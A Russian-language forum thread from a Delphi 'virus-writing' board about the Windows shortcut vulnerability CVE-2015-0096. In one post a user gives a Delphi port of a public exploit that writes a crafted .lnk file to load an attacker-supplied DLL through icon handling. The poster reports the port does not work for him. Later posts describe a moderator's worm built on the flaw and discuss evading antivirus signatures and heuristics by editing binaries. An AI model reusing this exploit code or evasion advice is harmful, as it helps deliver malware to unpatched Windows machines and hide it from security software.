Суббота, 19.08.2017, 06:22 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx 
delfcode » Delphi » Вирусология Delphi » Уязвимость ярлыков CVE-2015-0096 (В этом месяце появилась информация о недолеченной уязвимости)
Уязвимость ярлыков CVE-2015-0096
alexeybar2008Дата: Воскресенье, 29.03.2015, 12:36 | Сообщение # 1
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
Кто понял как использовать уязвимость обработки ярлыков CVE-2015-0096? Это не до конца исправленная уязвимость CVE 2010-2658, известная со времен Stuxnet-a

Ссылки по CVE-2015-0096:

1337day.com/exploits/23383
http://h30499.www3.hp.com/t5....3PmsVfA

Лично у меня код main в DLL никак не запускается (тестировал даже на старой системе до исправления CVE 2010-2658) sad
 
xXxSh@dowxXxДата: Воскресенье, 29.03.2015, 15:14 | Сообщение # 2
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
вот ТУТ эксплоит новый есть, может быть поможет, если что то получится, дай знать в ПМ, сам лично еще не проверял код сплоита, но тоже интересно было бы плюзать у себя на машине...
 
alexeybar2008Дата: Воскресенье, 29.03.2015, 19:54 | Сообщение # 3
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
Я видел этот эксплоит, может конечно напутал с длиной exploit_dll_filename, но адаптация под Delphi не заработала:(
Тестировал правда в корне диска своей машины, а не на папке в локалке.
Код
Const
// LinkHeader
link_header : Array [0..75] of Byte =  ($4c, $00, $00, $00, $01, $14, $02, $00, $00, $00, $00, $00, $c0, $00, $00, $00,
       $00, $00, $00, $46, $ff, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
       $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
       $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
       $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);

// Path
path_0 : Array [0..21] of Byte =  ($00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $6a, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);

// LinkTargetIDList
idlist_data : Array [0..39] of Byte =  ($14, $00, $1f, $00, $e0, $4f, $d0, $20, $ea, $3a, $69, $10, $a2, $d8, $08, $00, $2b, $30, $30, $9d,
         $14, $00, $2e, $1e, $20, $20, $ec, $21, $ea, $3a, $69, $10, $a2, $dd, $08, $00, $2b, $30, $30, $9d);

// ExtraData blocks (none) & Patch in the LinkFlags
extdata_linkflags : Array [0..7] of Byte =  ($03, $00, $00, $00, $81, $00, $00, $00);

function rand_text_alpha(random_length:Integer):String;
Var i:integer;
Begin
   Randomize();
   Result:='';
   For i:=1 to random_length do
     Result:=Result+chr($41+random(25));
end;
// path - directory for installing exploit
// lnk_name - name of *.lnk file on path
// dll_name - full name of dll file
function CreateShellLNK(path:String; lnk_name:String;  dll_name:String):Integer;
Var LinkHandle: Integer;
     i,random_length :integer;
     exploit_dll_name:string;
     IDListSize, path_len:Word;
     ZeroByte:byte;
Begin
     ZeroByte:=0;
     random_length:=257-Length(IncludeTrailingBackslash(path))-Length(ExtractFileName(dll_name));
     exploit_dll_name:=IncludeTrailingBackslash(path)+rand_text_alpha(random_length)+ExtractFileName(dll_name);
     if not fileexists(dll_name) then
     Begin
       result:=1;
       exit;
     end;
     CopyFile(PChar(dll_name),PChar(exploit_dll_name),true);

     LinkHandle:= FileCreate(IncludeTrailingBackslash(path)+lnk_name, fmOpenWrite);
     if (LinkHandle=0) then
     Begin
       result:=2;
       exit;
     end;

     FileWrite(LinkHandle, link_header, sizeof(link_header));

     IDListSize:=sizeof(idlist_data)+sizeof(path_0)+2*Length(Path)+4;
     FileWrite(LinkHandle, IDListSize, 2);
     FileWrite(LinkHandle, idlist_data, sizeof(idlist_data));

     path_len:=sizeof(path_0)+2*Length(exploit_dll_name)+2;
     FileWrite(LinkHandle, path_len, 2);
     FileWrite(LinkHandle, path_0, sizeof(path_0));
     for i:=1 to Length(exploit_dll_name) do
     begin
       FileWrite(LinkHandle, exploit_dll_name[i], 1);
       FileWrite(LinkHandle, ZeroByte, 1);
     end;
     FileWrite(LinkHandle, ZeroByte, 1);
     FileWrite(LinkHandle, ZeroByte, 1);

     FileWrite(LinkHandle, extdata_linkflags, sizeof(extdata_linkflags));
     FileClose(LinkHandle);
     result:=0;
end;


а у кого-нибудь работает старая уязвимость Stuxnet-а? Пример кода создания ярлыка: http://delfcode.ru/forum/10-336-1
 
xXxSh@dowxXxДата: Понедельник, 30.03.2015, 16:15 | Сообщение # 4
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
старая вряд ли будет работать, ведь уже давно заплатки автоматом у всех установились!

по поводу новой пока ничего сказать не могу, нету времени протестировать у себя.
 
Anton93Дата: Пятница, 03.04.2015, 20:14 | Сообщение # 5
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
практического смысла в ней уже нет. она сигнатурно ловится даже самым говеным антивирусом. последний раз я тестировал результат был 34 из 35 ав ее определили.
более того скажу, что ни червя, ни дроппера на ней уже нормально не сделать. по мимо ав еще заплатки мешают.
писал пару лет назад, для теста, червя, эксплуатирующего эту уязвимость, для одного объекта, где не ставились обновления. касперский, который там стоял, присек на корню эпидемию. через свой драйвер-фильтр файловой системы, они даже инициализироваться не успели, не смотря на то, что система была уязвима


ICQ: 41896
 
xXxSh@dowxXxДата: Воскресенье, 05.04.2015, 14:51 | Сообщение # 6
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Цитата Anton93 ()
она сигнатурно ловится даже самым говеным антивирусом

а шаманить в рукопашную не пробовал? через HEX и дебагеры, дабы убрать сигнатуру конкретного АВ (от всех сразу не спрячешь конечно, но в большинстве лучаев помогает).
 
Anton93Дата: Воскресенье, 05.04.2015, 15:23 | Сообщение # 7
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
xXxSh@dowxXx, тогда он GEN пишет. эвристика видит что я пытаюсь инициализировать dll известным нестандартным способом, а именно отобразить иконку. в этот момент и происходит эксплуатация. т.к. у dll по определению не может быть mainicon'a

ICQ: 41896
 
xXxSh@dowxXxДата: Воскресенье, 05.04.2015, 17:30 | Сообщение # 8
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Цитата Anton93 ()
тогда он GEN пишет. эвристика видит что я пытаюсь инициализировать dll известным нестандартным способом, а именно отобразить иконку. в этот момент и происходит эксплуатация. т.к. у dll по определению не может быть mainicon'a

согласен, эвристика это уже дело другое, а как на счет твоих старых наработок по обходу эвристического анализа ?
 
alexeybar2008Дата: Четверг, 07.05.2015, 23:17 | Сообщение # 9
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
Вопрос то был просто работает ли это и кто как понял суть этой незакрытой дыры CVE-2015-0096...
 
xXxSh@dowxXxДата: Четверг, 07.05.2015, 23:30 | Сообщение # 10
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Цитата alexeybar2008 ()
Вопрос то был просто работает ли это и кто как понял суть этой незакрытой дыры CVE-2015-0096


- на Win8 \ Win10 (с автообновлением) - скорее всего не работает точно так же как и на Win7!

- на Win7 (с автообновлением) - уже не работает!

- на Win Vista (с автообновлением) - не знаю, ничего сказать не могу.

- на Win XP SP3 (с автообновлением) - должно работать, сам лично не проверял, уязвимость новее чем конец поддержки
данной версии ОС Windows - это логично!

Если я правильно понимаю суть её была точно такая же как и в первом её виде от 2010 года, запуск кода из нашей DLL путем
эксплуатации баги в обработке files.ink
 
d4rkzyДата: Пятница, 08.05.2015, 13:19 | Сообщение # 11
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
Цитата
на Win7 (с автообновлением) - уже не работает!

Про вин7/XP - Microsoft все еще их поддерживает, выпиливает какие-то обновления или уже все?
 
xXxSh@dowxXxДата: Пятница, 08.05.2015, 19:10 | Сообщение # 12
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Цитата d4rkzy ()
Про вин7/XP - Microsoft все еще их поддерживает, выпиливает какие-то обновления или уже все?

Win7 поддерживается!

WinXP обновления как я понял только для каких то коммерческих версий, обычные пользовательские версии уже не поддерживаются!
 
delfcode » Delphi » Вирусология Delphi » Уязвимость ярлыков CVE-2015-0096 (В этом месяце появилась информация о недолеченной уязвимости)
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz